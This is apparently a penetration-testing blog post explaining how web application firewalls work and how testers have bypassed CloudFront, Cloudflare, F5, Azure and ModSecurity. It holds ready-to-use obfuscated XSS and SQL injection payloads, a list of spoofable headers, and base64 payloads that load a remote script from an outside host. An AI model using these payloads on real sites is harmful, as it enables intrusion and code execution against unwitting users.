Web Application Firewalls (WAFs) help to protect web applications by monitoring, filtering, and blocking HTTP traffic to and from a web service. However, WAFs are too often relied upon as a single line of defence to protect a web application against all types of attack.
This blog post provides a brief technical overview of how WAFs work and how to identify which WAF is in use, before delving into common and more novel approaches for bypassing WAFs. Finally, we will discuss a number of real-world case studies that demonstrate more advanced WAF evasion techniques which have been used when up against Azure Application Gateway, Cloudflare, CloudFront, F5 BIG-IP ASM, and OWASP Core Rule Set.
A Web Application Firewall (WAF) is a security system that monitors, filters, and blocks malicious traffic to a web application, whilst allowing legitimate traffic to pass through.
WAFs typically protect against common web-based attacks, such as Code/Command Execution, Cross-site Scripting (XSS), Directory Traversal, File Inclusion, SQL Injection, and XML External Entity (XXE) Injection. However, WAFs are not designed to defend against all types of attack e.g., access control violations, business/process logic flaws, and other such attacks.
WAFs use a variety of criteria to distinguish between legitimate and malicious traffic, such as the source IP address, the type of request being made e.g., GET vs. POST, and the body of the request. Sometimes WAFs use a learning model or even Artificial Intelligence (AI) to add rules automatically through learning about user behaviour.
There are several models of operation which are commonly used by WAFs:
Negative model
This model uses a pre-defined list of signatures to block requests that are obviously malicious e.g., rules for blocking potential SQL Injection or Cross-site Scripting payloads.
Positive model
This model only allows web traffic according to specifically configured criteria e.g., only allowing requests from certain IP addresses or countries.
Hybrid model
This model combines both allowlisting and blocklisting e.g., a website is Internet facing (requires a blocklist model), but the administrative interface needs to be exposed to only a subset of users (requires an allowlist model).
There are also different types of WAF, each of which has its own advantages and drawbacks:
Network-based WAFs
These are deployed at the network perimeter, typically on hardware devices or software running on a dedicated server. They are designed to protect all web applications hosted on the network, but require investment in hardware and might not provide as granular level of control as host-based WAFs.
Host-based WAFs
These are deployed on individual web servers, typically as a software solution, but they only protect the web application running on the server where they are deployed and might require additional resources to manage and maintain them.
Cloud-hosted WAFs
These are deployed as a service, with the WAF provider managing the entire infrastructure. They are designed to protect web applications hosted on any type of server, but require a subscription to a third-party service and might not provide the same level of protection as a network-based or host-based WAF, depending on the provider.
Various techniques can be used to detect if a WAF has been deployed to protect a web service. For example, WAFs are often exposed on several common ports e.g., 80, 443, 8000, 8080, and 8888.
Some WAFs set their own cookies in requests (e.g., Citrix NetScaler and F5 BIP-IP ASM), whilst others associate themselves with separate headers (e.g., Amazon AWS WAF) or alter headers and jumble characters (e.g., Citrix NetScaler and F5 BIP-IP ASM).
Some WAFs expose themselves directly in the Server response header (e.g., Approach and Cloudflare), whilst others expose themselves in the HTTP response body (e.g., dotDefender).
Some WAFs even respond to potentially malicious traffic with unusual HTTP response codes (e.g., WebKnight’s 999 No Hacking response). More techniques for identifying WAFs can be found at the comprehensive Awesome WAF resource from 0xInfection.
There are many techniques which can be used to determine what is (and is not) being blocked by a WAF, several of which are discussed below.
A common approach to determining the payloads which are (and are not) being blocked by a WAF solution is fuzzing. This approach involves testing a set of payloads against the WAF, for example those from SecLists, FuzzDB, and Payloads All The Things, and observing the WAF’s responses.
All responses from the different payloads fuzzed should be recorded and analysed to determine what is (and is not) being blocked by the WAF.
However, this approach runs the risk that the source IP address for the fuzzing might be blocked by the WAF, either temporarily or permanently. Using the IP Rotate Burp Suite extension, random User-Agent strings, and dynamic request latency can be helpful to avoid such blocks.
Perhaps the most efficient method for bypassing WAFs is reversing the regular expressions (or regexes) and rules which are used to detect common attacks.
Some WAFs rely on matching attack payloads with the signatures in their databases, so it is possible to study their regexes/rules and identify possible bypasses for blocklisted keywords. However, commercial WAFs are often closed-source so the regexes/rules on which they rely are not readily available for us to review.
Another approach is to fingerprint the WAF’s regexes/rules step-by-step by observing the keywords being blocklisted, then trying to guess the regex in use and crafting payloads which don’t use the blocklisted keywords. An example of this approach is shown below:
Regex:
preg_match('/(and|or|union)/i', $id)
Blocked attempt:
union select username, password from users
Bypassed injection:
1 || (select username from users where id = 1) = 'admin'
More techniques can be found at the comprehensive Awesome WAF resource from 0xInfection.
Various obfuscation and encoding techniques can also be used to bypass blocklisted keywords. These techniques use alternative representations of characters in an attempt to evade detection by the WAF.
Some common obfuscation and encoding techniques are provided below and we will see some of these used in case studies later in this blog post.
Case Toggling:
<script>alert()</script>
<ScRipT>alert()</sCRipT>
URL Encoding:
<svG/x=">"/oNloaD=confirm()//
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
Unicode Normalization:
<marquee onstart=prompt()>
<marquee onstart=\u0070r\u006f\u006dpt()>
\u{3a}
Line Breaks/Carriage Returns:
<iframe src="javascript:confirm(0)">
<iframe src="j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
HTML Representation:
"><img src=x onerror=confirm()>
"><img src=x onerror=confirm()>
Comments:
<script>alert()</script>
<!--><script>alert/**/()/**/</script>
Double URL Encoding:
<script>alert()</script>
%253Cscript%253Ealert%2528%2529%253C%252Fscript%253E
Dynamic Payload Generation:
<script>alert()</script>
<script>eval('al'+'er'+'t()')</script>
Alternative character sets (or charsets) can also be used to evade detection by a WAF. Many web servers support different character encodings and can correctly interpret alternatively encoded content.
It might be possible to obfuscate payloads using a character encoding which is not supported by the WAF, but which the web server can interpret correctly (Burp Suite’s Hackvertor extension can be used to do this).
For example, IIS 6, 7.5, 8, and 10 (ASPX v4.x) all support IBM037 and IBM500 character encodings, as shown in the example below. Note that the equals (=) and ampersand (&) symbols should not be encoded when using these character encodings.
Original request:
POST /sample.aspx?id1=something HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 41
id2='union all select * from users—
IBM037-encoded request:
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
Unicode compatibility bugs can also be used to evade detection by a WAF by changing the charset parameter or Accept-Charset
header to a higher Unicode encoding (e.g., UTF-32) which is then decoded by the browser using a lower Unicode encoding (e.g., UTF-8).
In the example shown below, when the browser decodes the UTF-32-encoded payload using UTF-8 encoding, the decoded Cross-site Scripting payload <script>alert(1)<script>
will be triggered:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Charset:utf-32; q=0.5
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Request header spoofing can also be used to evade detection by tricking the WAF into believing that a request originated from an internal IP address or an allowlisted IP address or country.
An attacker can add spoofed HTTP headers to requests which represent an internal IP address such as 127.0.0.1. This technique can also be used to rewrite request URLs or override HTTP verbs to bypass WAFs, for example by changing the request method from GET to POST.
The following requests headers can be spoofed to evade certain WAFs:
CF-Connecting-IP: 127.0.0.1
CF-IPCountry: GB
Client-IP: 127.0.0.1
CloudFront-Viewer-Country: GB
Cluster-Client-IP: 127.0.0.1
Fastly-Client-IP: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: for=127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 80
X-Forwarded-Proto: http
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-GeoIP-CC: GB
X-Host: 127.0.0.1
X-HTTP-Method-Override: POST
X-Method-Override: POST
X-Original-Url: /admin
X-Originating-IP: 127.0.0.1
X-Override-Url: /admin
X-ProxyUser-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: /admin
X-Scraped: 127.0.0.1
X-WAP-Profile: 127.0.0.1/wap.xml
Sometimes WAFs have an upper limit on how much of the HTTP request they are intended to inspect. By sending an HTTP request with a body size which exceeds this upper limit, we can successfully evade the WAF.
For example, if a WAF is only intended to inspect the first 8192 bytes of a POST request body, an attacker can craft a request with a body size exceeding the 8192-byte size limit where the payload appears after the 8192nd byte in the request body. The Burp Suite WAF Bypadd extension can be used to do this and we will see this technique used in case studies later in this blog post.
One technique we have successfully used to find WAF bypasses for Cross-site Scripting is as follows and we will see elements of this technique used in case studies later in this blog post.
The following are real-world case studies observed during assessments where it has been possible to bypass free and commercial WAF solutions, including Azure Application Gateway, Cloudflare, CloudFront, and F5 BIG-IP ASM, using common and more novel WAF evasion techniques.
MDSec assessed a website for a media company that was protected by CloudFront.
We probed the list of HTML tags from the PortSwigger XSS cheat sheet with Burp Suite’s Intruder tool and found that not many tags were being blocked by CloudFront, except for <script>
.
We then probed the list of JavaScript event handlers from the PortSwigger XSS cheat sheet with Intruder and found that a few obscure event handlers were allowed through the WAF, but most of these were not easily exploitable.
However, the onbeforetoggle
event handler wasn’t blocked by CloudFront. The beforetoggle
event fires on a popover
element (i.e., one that has a valid popover
attribute) just before it is shown or hidden on the page.
Research from PortSwigger’s Gareth Heyes on exploiting this event handler provided some inspiration and the following Cross-site Scripting payload was constructed to bypass CloudFront:
<button popovertarget=x>Next</button>
<xss onbeforetoggle=
eval(atob(‘dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=‘)) popover id=x>XSS</xss>
The Cross-site Scripting payload was reflected in an HTML context on a product search results page and clicking on the “Next” button shown below would trigger the payload:
MDSec assessed a website for an online bank that was protected by both CloudFront and F5 BIG-IP ASM. The exploit was DOM-based and was reflected in a JavaScript context, so there was no requirement to probe for allowed HTML tags or JavaScript event handlers.
We needed to figure out recursively what was (and was not) being blocked by the WAF’s regexes/rules, so we tried a known valid Cross-site Scripting payload and worked backwards from there.
Attempt 1 (known valid XSS payload):
eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));
This payload was blocked, so we attempted to bypass the WAFs again after removing the eval string from the payload:
Attempt 2 (no eval):
var fn=window[atob('ZXZhbA==')];fn(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs='));
This payload was also blocked, so we deduced that the atob string was also being detected by the WAFs. We needed to construct a valid Cross-site Scripting payload which used neither of these strings.
This resource from ParaCyberBellum provided some inspiration and the following Cross-site Scripting payload was constructed to bypass both CloudFront and F5 BIG-IP ASM:
`e1v2a3l4a5t6o7b`.replace(/(.).(.).(.).(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5,$6,$7,$8) {
var e=this[$1+$2+$3+$4];
var x=this[$5+$6+$7+$8];
e(x(`dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7cy5zcmM9Ii8vd3gueXovMS5qcyI7ZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzKTs=`));
});
The payload uses regex capture groups and the JavaScript String replace() method with a function to return the replacement text and construct the Cross-site Scripting payload as follows:
e1v2a3l4a5t6o7b
becomes evalatob
var e = this[$1+$2+$3+$4] = e1v2a3l4a5t6o7b = eval
var x = this[$5+$6+$7+$8] = e1v2a3l4a5t6o7b = atob
e(x( = eval(atob(
Another similar technique which uses the self property of the JavaScript Window object is shown below:
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2NyaXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHBzOi8vd3gueXovMS5qcycpO2hlYWQuYXBwZW5kQ2hpbGQoc2NyaXB0KTs="
)
)
This payload uses the hexadecimal representation of eval i.e., self["\x65\x76\x61\x6c"]
and atob
i.e., self["\x61\x74\x6f\x62"]
for decoding a Base64-encoded string. Inside the Base64-encoded string, there is the following script:
var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src', 'https://wx.yz/1.js');
head.appendChild(script);
Further examples of this technique can be found at this resource from Secjuice.
MDSec assessed an API for a public sector company that was protected by Cloudflare.
We found that Cloudflare seemed to ignore payloads when a large amount of junk data was added after the Cross-site Scripting payload in a JSON request body.
As it turned out, Cloudflare was simply ignoring requests over 131,072 bytes (128 KiB). A 131,073 byte POST request body was sent to the server, including the XSS payload, which successfully bypassed Cloudflare.
Further research suggests that this might be related to a fixed value per Durable Object in Cloudflare, so it is worth trying this technique when up against Cloudflare.
The following screenshot shows the response from Cloudflare when a request body less than 131,072 bytes is sent to the server:
The following screenshot shows the response from Cloudflare when a request body greater than 131,072 bytes is sent to the server:
MDSec assessed a website for a healthcare provider that was protected by Azure Application Gateway.
We found that Azure Application Gateway seemed to ignore payloads when a large amount of junk data was added before an SQL Injection payload in a JSON request body.
The SQL “FROM” keyword was explicitly blocked by Azure Application Gateway, which made exploitation difficult without a WAF bypass. However, errors could be triggered using the PostgreSQL box()geometric type conversion function, which could be used for a proof-of-concept exploit without needing a WAF bypass.
The following blog posts from IndiShell Lab were the inspiration this technique; these are well worth a read as there are a lot of useful techniques discussed:
The following screenshot shows how Azure Application Gateway has been evaded by using the PostgreSQL box()
geometric type conversion function to return the version of PostgreSQL running on the server:
The following screenshot shows how Azure Application Gateway has been evaded by adding a large amount of junk data before an SQL injection payload in the JSON request body:
There are several WAF evasion techniques which are particularly novel and push the boundaries of what can be achieved with a little creative thought.
Aurebesh.js from Aemkei, for example, is a script which enables any list of ASCII symbols to be used to generate a short piece of valid JavaScript code. An example of this using hieroglyphics is shown below and such payloads would likely be difficult for a WAF to reliably detect:
𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[𓇎]+𓂀[𓏢]+𓊝+𓆣+"(𓅂)")()
Often bug bounty contributions will also disclose some interesting WAF evasion techniques. For example, OWASP Core Rule Set (CRS) ran a private bug bounty in 2022, organised by Intigriti. Core Rule Set is an open-source WAF ruleset that protects numerous servers, CDNs, cloud platforms, and is used by many commercial WAFs.
In total, 175 reports were received and 511 unique payloads were extracted from those reports. Several novel partial rule set bypasses were discovered during the private bug bounty, as detailed in the following CVEs:
Content-Type charset
names and therefore bypassing the configurable Core Rule Set Content-Type
header charset allowlist.Content-Type
or the deprecated Content-Transfer-Encoding multipart MIME header fields.charset
parameter in order to receive the response in an encoded form.range
header field with a small byte range.However, sometimes WAF evasion techniques can be surprisingly simple, for example the ModSecurity Path Confusion flaw disclosed as CVE-2024-1019.
ModSecurity versions 3.0.0 to 3.0.11 decoded URL-encoded characters before it separated the URL path from the optional query string. This meant that an attacker could hide a payload in the URL path from the ModSecurity rules inspecting it simply by inserting %3f
(i.e., a URL-encoded ? character) before any payload, as shown in the example below:
https://example.com/foo%3f’;alert(1);foo=
This could allow an attacker to exploit a back-end which uses the path component of request URLs to construct queries. For example, OWASP Core Rule Set widely used the affected REQUEST_FILENAME
variable in its rules.
In this blog post, we have looked at a brief technical overview of how WAFs work and how to identify which WAF is in use, as well as common and more novel approaches for bypassing WAFs. We have also looked at a number of case studies which demonstrate more advanced WAF evasion techniques against Azure Application Gateway, Cloudflare, CloudFront, F5 BIG-IP ASM, and OWASP Core Rule Set.
WAFs often rely on blocklisted keywords to filter requests and should not be relied upon in isolation to defend against all types of attacks. Many techniques for payload obfuscation and encoding are available to try so be creative and work recursively from a known valid payload to see what is (and is not) being blocked by the WAF.
Don’t simply move on when encountering a WAF; they’re often much simpler to bypass than you might think!
Some useful resources for further reading on WAF detection and evasion techniques are provided below:
Resources referenced in this blog post are listed below:
Written by James Hall, Senior Security Consultant